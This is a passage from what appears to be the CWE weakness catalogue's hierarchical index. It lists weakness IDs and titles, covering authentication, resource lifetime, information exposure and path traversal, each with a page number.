        - CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
      - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
      - CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
      - CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*

- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
- CWE-539: Use of Persistent Cookies Containing Sensitive Information *(p.1112)*
- CWE-553: Command Shell in Externally Accessible Directory *(p.1127)*

- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag *(p.1626)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*
  - CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-281: Improper Preservation of Permissions *(p.615)*
- CWE-862: Missing Authorization *(p.1567)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-638: Not Using Complete Mediation *(p.1249)*
    - CWE-424: Improper Protection of Alternate Path *(p.914)*
      - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p.1614)*
- CWE-863: Incorrect Authorization *(p.1573)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
    - CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p.1142)*
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
- CWE-926: Improper Export of Android Application Components *(p.1608)*
- CWE-927: Use of Implicit Intent for Sensitive Communication *(p.1611)*

- CWE-286: Incorrect User Management *(p.629)*
  - CWE-842: Placement of User into Incorrect Group *(p.1562)*
- CWE-287: Improper Authentication *(p.630)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-262: Not Using Password Aging *(p.577)*
  - CWE-263: Password Aging with Long Expiration *(p.579)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
    - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
    - CWE-291: Reliance on IP Address for Authentication *(p.643)*
    - CWE-293: Using Referer Field for Authentication *(p.645)*
    - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-295: Improper Certificate Validation *(p.648)*
    - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
    - CWE-297: Improper Validation of Certificate with Host Mismatch *(p.656)*
    - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
    - CWE-299: Improper Check for Certificate Revocation *(p.661)*
      - CWE-370: Missing Check for Certificate Revocation after Initial Check *(p.821)*
    - CWE-599: Missing Validation of OpenSSL Certificate *(p.1192)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*

- CWE-308: Use of Single-factor Authentication *(p.682)*
- CWE-309: Use of Password System for Primary Authentication *(p.684)*
- CWE-521: Weak Password Requirements *(p.1089)*
  - CWE-258: Empty Password in Configuration File *(p.567)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
  - CWE-260: Password in Configuration File *(p.573)*
    - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
    - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-523: Unprotected Transport of Credentials *(p.1095)*
  - CWE-549: Missing Password Field Masking *(p.1122)*
  - CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p.1128)*
- CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
- CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-620: Unverified Password Change *(p.1229)*
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
- CWE-804: Guessable CAPTCHA *(p.1495)*
- CWE-836: Use of Password Hash Instead of Password for Authentication *(p.1549)*

CWE-346: Origin Validation Error *(p.760)*

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints *(p.1604)*

- CWE-291: Reliance on IP Address for Authentication *(p.643)*
- CWE-297: Improper Validation of Certificate with Host Mismatch *(p.656)*
- CWE-300: Channel Accessible by Non-Endpoint *(p.663)*
- CWE-322: Key Exchange without Entity Authentication *(p.711)*
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
- CWE-419: Unprotected Primary Channel *(p.908)*
- CWE-420: Unprotected Alternate Channel *(p.909)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p.911)*
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p.912)*
- CWE-925: Improper Verification of Intent by Broadcast Receiver *(p.1607)*
- CWE-940: Improper Verification of Source of a Communication Channel *(p.1617)*
- CWE-941: Incorrectly Specified Destination in a Communication Channel *(p.1619)*

CWE-942: Permissive Cross-domain Policy with Untrusted Domains *(p.1621)*

CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities *(p.943)*

CWE-1038: Insecure Automated Optimizations *(p.1641)*

- CWE-1037: Processor Optimization Removal or Modification of Security-critical Code *(p.1639)*
- CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*

CWE-188: Reliance on Data/Memory Layout *(p.435)*

- CWE-198: Use of Incorrect Byte Ordering *(p.465)*

CWE-436: Interpretation Conflict *(p.944)*

- CWE-115: Misinterpretation of Input *(p.259)*
- CWE-437: Incomplete Model of Endpoint Features *(p.946)*
- CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p.952)*
- CWE-626: Null Byte Interaction Error (Poison Null Byte) *(p.1239)*
- CWE-650: Trusting HTTP Permission Methods on the Server Side *(p.1275)*
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages *(p.177)*

CWE-439: Behavioral Change in New Version or Environment *(p.947)*

CWE-664: Improper Control of a Resource Through its Lifetime *(p.1291)*

- CWE-118: Incorrect Access of Indexable Resource ('Range Error') *(p.270)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
    - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
      - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p.1459)*
    - CWE-125: Out-of-bounds Read *(p.302)*
      - CWE-126: Buffer Over-read *(p.305)*
      - CWE-127: Buffer Under-read *(p.308)*
    - CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
    - CWE-680: Integer Overflow to Buffer Overflow *(p.1321)*
    - CWE-786: Access of Memory Location Before Start of Buffer *(p.1461)*
      - CWE-124: Buffer Underwrite ('Buffer Underflow') *(p.298)*
      - CWE-127: Buffer Under-read *(p.308)*
    - CWE-787: Out-of-bounds Write *(p.1463)*
      - CWE-121: Stack-based Buffer Overflow *(p.289)*
      - CWE-122: Heap-based Buffer Overflow *(p.293)*
      - CWE-123: Write-what-where Condition *(p.296)*
      - CWE-124: Buffer Underwrite ('Buffer Underflow') *(p.298)*
    - CWE-788: Access of Memory Location After End of Buffer *(p.1470)*
      - CWE-121: Stack-based Buffer Overflow *(p.289)*
      - CWE-122: Heap-based Buffer Overflow *(p.293)*
      - CWE-126: Buffer Over-read *(p.305)*
    - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
      - CWE-806: Buffer Access Using Size of Source Buffer *(p.1504)*
    - CWE-822: Untrusted Pointer Dereference *(p.1515)*
    - CWE-823: Use of Out-of-range Pointer Offset *(p.1518)*
    - CWE-824: Access of Uninitialized Pointer *(p.1520)*
    - CWE-825: Expired Pointer Dereference *(p.1523)*
      - CWE-415: Double Free *(p.901)*
      - CWE-416: Use After Free *(p.904)*
- CWE-1229: Creation of Emergent Resource *(p.1745)*
  - CWE-514: Covert Channel *(p.1086)*
    - CWE-385: Covert Timing Channel *(p.842)*
    - CWE-515: Covert Storage Channel *(p.1087)*
- CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories *(p.1769)*
- CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State *(p.1776)*
  - CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System *(p.1774)*
  - CWE-1251: Mirrored Regions with Different Values *(p.1778)*
- CWE-1272: Debug/Power State Transitions Leak Information *(p.1816)*
- CWE-1277: Firmware Not Updateable *(p.1825)*
- CWE-221: Information Loss or Omission *(p.511)*
  - CWE-222: Truncation of Security-relevant Information *(p.512)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
    - CWE-778: Insufficient Logging *(p.1444)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
  - CWE-356: Product UI does not Warn User of Unsafe Actions *(p.784)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
  - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p.962)*
    - CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User *(p.1628)*
    - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*
- CWE-372: Incomplete Internal State Distinction *(p.823)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
  - CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations *(p.1754)*

- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p.1438)*
  - CWE-789: Uncontrolled Memory Allocation *(p.1474)*
- CWE-771: Missing Reference to Active Allocated Resource *(p.1430)*
  - CWE-773: Missing Reference to Active File Descriptor or Handle *(p.1436)*
- CWE-779: Logging of Excessive Data *(p.1446)*
- CWE-920: Improper Restriction of Power Consumption *(p.1601)*

CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device *(p.1805)*
- CWE-262: Not Using Password Aging *(p.577)*
- CWE-263: Password Aging with Long Expiration *(p.579)*
- CWE-299: Improper Check for Certificate Revocation *(p.661)*
  - CWE-370: Missing Check for Certificate Revocation after Initial Check *(p.821)*
- CWE-459: Incomplete Cleanup *(p.978)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
    - CWE-1239: Improper Zeroization of Hardware Register *(p.1758)*
    - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
  - CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
  - CWE-568: finalize() Method Without super.finalize() *(p.1146)*
- CWE-763: Release of Invalid Pointer or Reference *(p.1408)*
  - CWE-761: Free of Pointer not at Start of Buffer *(p.1402)*
  - CWE-762: Mismatched Memory Management Routines *(p.1405)*
    - CWE-590: Free of Memory not on the Heap *(p.1179)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
  - CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
  - CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
  - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p.1439)*

CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
- CWE-1050: Excessive Platform Resource Consumption within a Loop *(p.1652)*
- CWE-1072: Data Resource Access without Use of Connection Pooling *(p.1673)*
- CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses *(p.1674)*
- CWE-1084: Invokable Control Element with Excessive File or Data Access Operations *(p.1684)*
- CWE-1089: Large Data Table with Excessive Number of Indices *(p.1689)*
- CWE-1094: Excessive Index Range Scan for a Data Resource *(p.1694)*
- CWE-1176: Inefficient CPU Computation *(p.1724)*
  - CWE-1042: Static Member Data Element outside of a Singleton Class Element *(p.1644)*
  - CWE-1046: Creation of Immutable Text Using String Concatenation *(p.1648)*
  - CWE-1049: Excessive Data Query Operations in a Large Data Table *(p.1651)*
  - CWE-1063: Creation of Class Instance within a Static Code Block *(p.1665)*
  - CWE-1067: Excessive Execution of Sequential Searches of Data Resource *(p.1669)*
- CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p.884)*
- CWE-407: Inefficient Algorithmic Complexity *(p.887)*
- CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*

CWE-410: Insufficient Resource Pool *(p.891)*

CWE-471: Modification of Assumed-Immutable Data (MAID) *(p.999)*
- CWE-291: Reliance on IP Address for Authentication *(p.643)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-473: PHP External Variable Modification *(p.1005)*
- CWE-607: Public Static Final Field References Mutable Object *(p.1209)*

CWE-487: Reliance on Package-level Scope *(p.1038)*

CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*

- CWE-495: Private Data Structure Returned From A Public Method *(p.1059)*
- CWE-496: Public Data Assigned to Private Array-Typed Field *(p.1061)*
- CWE-498: Cloneable Class Containing Sensitive Information *(p.1065)*
- CWE-499: Serializable Class Containing Sensitive Data *(p.1067)*
- CWE-501: Trust Boundary Violation *(p.1071)*
- CWE-580: clone() Method Without super.clone() *(p.1166)*
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere *(p.1213)*
  - CWE-15: External Control of System or Configuration Setting *(p.17)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p.950)*
    - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*
    - CWE-918: Server-Side Request Forgery (SSRF) *(p.1599)*
  - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
  - CWE-73: External Control of File Name or Path *(p.125)*
    - CWE-114: Process Control *(p.256)*
- CWE-662: Improper Synchronization *(p.1288)*
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
    - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
    - CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*
  - CWE-667: Improper Locking *(p.1299)*
    - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
    - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
    - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
    - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
    - CWE-413: Improper Resource Locking *(p.896)*
      - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
    - CWE-414: Missing Lock Check *(p.900)*
    - CWE-609: Double-Checked Locking *(p.1211)*
    - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
    - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
    - CWE-832: Unlock of a Resource that is not Locked *(p.1542)*
    - CWE-833: Deadlock *(p.1543)*
  - CWE-820: Missing Synchronization *(p.1512)*
    - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization *(p.1696)*
    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
    - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-821: Incorrect Synchronization *(p.1514)*
    - CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*
    - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
    - CWE-572: Call to Thread run() instead of start() *(p.1152)*
    - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
- CWE-665: Improper Initialization *(p.1293)*
  - CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data *(p.1653)*
  - CWE-1052: Excessive Use of Hard-Coded Literals in Initialization *(p.1654)*
  - CWE-1188: Insecure Default Initialization of Resource *(p.1725)*
    - CWE-453: Insecure Default Variable Initialization *(p.966)*
  - CWE-1221: Incorrect Register Defaults or Module Parameters *(p.1737)*
  - CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings *(p.1814)*

- CWE-1279: Cryptographic Primitives used without Successful Self-Test *(p.1829)*
- CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
- CWE-455: Non-exit on Failed Initialization *(p.969)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p.1438)*
  - CWE-789: Uncontrolled Memory Allocation *(p.1474)*
- CWE-908: Use of Uninitialized Resource *(p.1578)*
  - CWE-457: Use of Uninitialized Variable *(p.975)*
- CWE-909: Missing Initialization of Resource *(p.1581)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*

CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*

- CWE-415: Double Free *(p.901)*
- CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
- CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
  - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
  - CWE-324: Use of a Key Past its Expiration Date *(p.715)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-825: Expired Pointer Dereference *(p.1523)*
    - CWE-415: Double Free *(p.901)*
    - CWE-416: Use After Free *(p.904)*
  - CWE-910: Use of Expired File Descriptor *(p.1584)*
- CWE-826: Premature Release of Resource During Expected Lifetime *(p.1525)*

CWE-668: Exposure of Resource to Wrong Sphere *(p.1305)*

- CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC) *(p.1726)*
- CWE-1282: Assumed-Immutable Data Stored in Writable Memory *(p.1835)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
  - CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug *(p.1764)*
  - CWE-1273: Device Unlock Credential Sharing *(p.1818)*
  - CWE-201: Exposure of Sensitive Information Through Sent Data *(p.474)*
    - CWE-598: Use of GET Request Method With Sensitive Query Strings *(p.1191)*
  - CWE-203: Observable Discrepancy *(p.478)*
    - CWE-204: Observable Response Discrepancy *(p.482)*
    - CWE-205: Observable Behavioral Discrepancy *(p.485)*
      - CWE-206: Observable Internal Behavioral Discrepancy *(p.486)*
      - CWE-207: Observable Behavioral Discrepancy With Equivalent Products *(p.487)*
    - CWE-208: Observable Timing Discrepancy *(p.488)*
      - CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
    - CWE-210: Self-generated Error Message Containing Sensitive Information *(p.496)*
    - CWE-211: Externally-Generated Error Message Containing Sensitive Information *(p.498)*
      - CWE-535: Exposure of Information Through Shell Error Message *(p.1107)*
      - CWE-536: Servlet Runtime Error Message Containing Sensitive Information *(p.1108)*
      - CWE-537: Java Runtime Error Message Containing Sensitive Information *(p.1109)*
    - CWE-550: Server-generated Error Message Containing Sensitive Information *(p.1123)*
  - CWE-213: Exposure of Sensitive Information Due to Incompatible Policies *(p.503)*
  - CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
  - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
  - CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
    - CWE-214: Invocation of Process Using Visible Sensitive Information *(p.505)*

- CWE-526: Exposure of Sensitive Information Through Environmental Variables *(p.1099)*
- CWE-548: Exposure of Information Through Directory Listing *(p.1121)*

- CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory *(p.1111)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-540: Inclusion of Sensitive Information in Source Code *(p.1113)*
    - CWE-531: Inclusion of Sensitive Information in Test Code *(p.1103)*
    - CWE-541: Inclusion of Sensitive Information in an Include File *(p.1114)*
    - CWE-615: Inclusion of Sensitive Information in Source Code Comments *(p.1221)*
  - CWE-651: Exposure of WSDL File Containing Sensitive Information *(p.1276)*

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-23: Relative Path Traversal *(p.42)*
    - CWE-24: Path Traversal: '../filedir' *(p.48)*
    - CWE-25: Path Traversal: '/../filedir' *(p.50)*
    - CWE-26: Path Traversal: '/dir/../filename' *(p.51)*
    - CWE-27: Path Traversal: 'dir/../../filename' *(p.53)*
    - CWE-28: Path Traversal: '..\filedir' *(p.54)*
    - CWE-29: Path Traversal: '\..\filename' *(p.56)*
    - CWE-30: Path Traversal: '\dir\..\filename' *(p.58)*
    - CWE-31: Path Traversal: 'dir\..\..\filename' *(p.60)*
    - CWE-32: Path Traversal: '...' (Triple Dot) *(p.62)*
    - CWE-33: Path Traversal: '....' (Multiple Dot) *(p.64)*
    - CWE-34: Path Traversal: '....//' *(p.66)*
    - CWE-35: Path Traversal: '.../.../' *(p.68)*
  - CWE-36: Absolute Path Traversal *(p.69)*
    - CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
    - CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
    - CWE-39: Path Traversal: 'C:dirname' *(p.77)*
    - CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) *(p.79)*
- CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
- CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
- CWE-377: Insecure Temporary File *(p.829)*
  - CWE-378: Creation of Temporary File With Insecure Permissions *(p.832)*
  - CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') *(p.875)*
  - CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
  - CWE-619: Dangling Database Cursor ('Cursor Injection') *(p.1228)*
- CWE-427: Uncontrolled Search Path Element *(p.922)*
- CWE-428: Unquoted Search Path or Element *(p.927)*
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
- CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
- CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
  - CWE-500: Public Static Field Not Marked Final *(p.1069)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
  - CWE-260: Password in Configuration File *(p.573)*
    - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
    - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-523: Unprotected Transport of Credentials *(p.1095)*
  - CWE-549: Missing Password Field Masking *(p.1122)*
  - CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p.1128)*
- CWE-524: Use of Cache Containing Sensitive Information *(p.1096)*

- CWE-525: Use of Web Browser Cache Containing Sensitive Information *(p.1097)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
  - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
    - CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
  - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
  - CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
  - CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
  - CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
  - CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
  - CWE-539: Use of Persistent Cookies Containing Sensitive Information *(p.1112)*
  - CWE-553: Command Shell in Externally Accessible Directory *(p.1127)*
- CWE-582: Array Declared Public, Final, and Static *(p.1168)*
- CWE-583: finalize() Method Declared Public *(p.1169)*
- CWE-608: Struts: Non-private Field in ActionForm Class *(p.1210)*
- CWE-642: External Control of Critical State Data *(p.1257)*
  - CWE-15: External Control of System or Configuration Setting *(p.17)*
  - CWE-426: Untrusted Search Path *(p.917)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-73: External Control of File Name or Path *(p.125)*
    - CWE-114: Process Control *(p.256)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag *(p.1626)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*
  - CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-281: Improper Preservation of Permissions *(p.615)*
- CWE-767: Access to Critical Private Variable via Public Method *(p.1418)*
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote *(p.6)*
- CWE-927: Use of Implicit Intent for Sensitive Communication *(p.1611)*

CWE-669: Incorrect Resource Transfer Between Spheres *(p.1307)*

- CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows *(p.1789)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
    - CWE-1239: Improper Zeroization of Hardware Register *(p.1758)*
    - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
- CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision *(p.1456)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
  - CWE-827: Improper Control of Document Type Definition *(p.1527)*
  - CWE-830: Inclusion of Web Functionality from an Untrusted Source *(p.1538)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*

CWE-673: External Influence of Sphere Definition *(p.1313)*

- CWE-426: Untrusted Search Path *(p.917)*

- CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
    - CWE-192: Integer Coercion Error *(p.446)*
    - CWE-194: Unexpected Sign Extension *(p.454)*
    - CWE-195: Signed to Unsigned Conversion Error *(p.457)*
    - CWE-196: Unsigned to Signed Conversion Error *(p.460)*
    - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') *(p.1563)*
- CWE-706: Use of Incorrectly-Resolved Name or Reference *(p.1360)*
  - CWE-178: Improper Handling of Case Sensitivity *(p.411)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
    - CWE-23: Relative Path Traversal *(p.42)*
      - CWE-24: Path Traversal: '../filedir' *(p.48)*
      - CWE-25: Path Traversal: '/../filedir' *(p.50)*
      - CWE-26: Path Traversal: '/dir/../filename' *(p.51)*
      - CWE-27: Path Traversal: 'dir/../../filename' *(p.53)*
      - CWE-28: Path Traversal: '..\filedir' *(p.54)*
      - CWE-29: Path Traversal: '\..\filename' *(p.56)*
      - CWE-30: Path Traversal: '\dir\..\filename' *(p.58)*
      - CWE-31: Path Traversal: 'dir\..\..\filename' *(p.60)*
      - CWE-32: Path Traversal: '...' (Triple Dot) *(p.62)*
      - CWE-33: Path Traversal: '....' (Multiple Dot) *(p.64)*
      - CWE-34: Path Traversal: '..../' *(p.66)*
      - CWE-35: Path Traversal: '.../.../' *(p.68)*
    - CWE-36: Absolute Path Traversal *(p.69)*
      - CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
      - CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
      - CWE-39: Path Traversal: 'C:dirname' *(p.77)*
      - CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) *(p.79)*
  - CWE-386: Symbolic Name not Mapping to Correct Object *(p.844)*
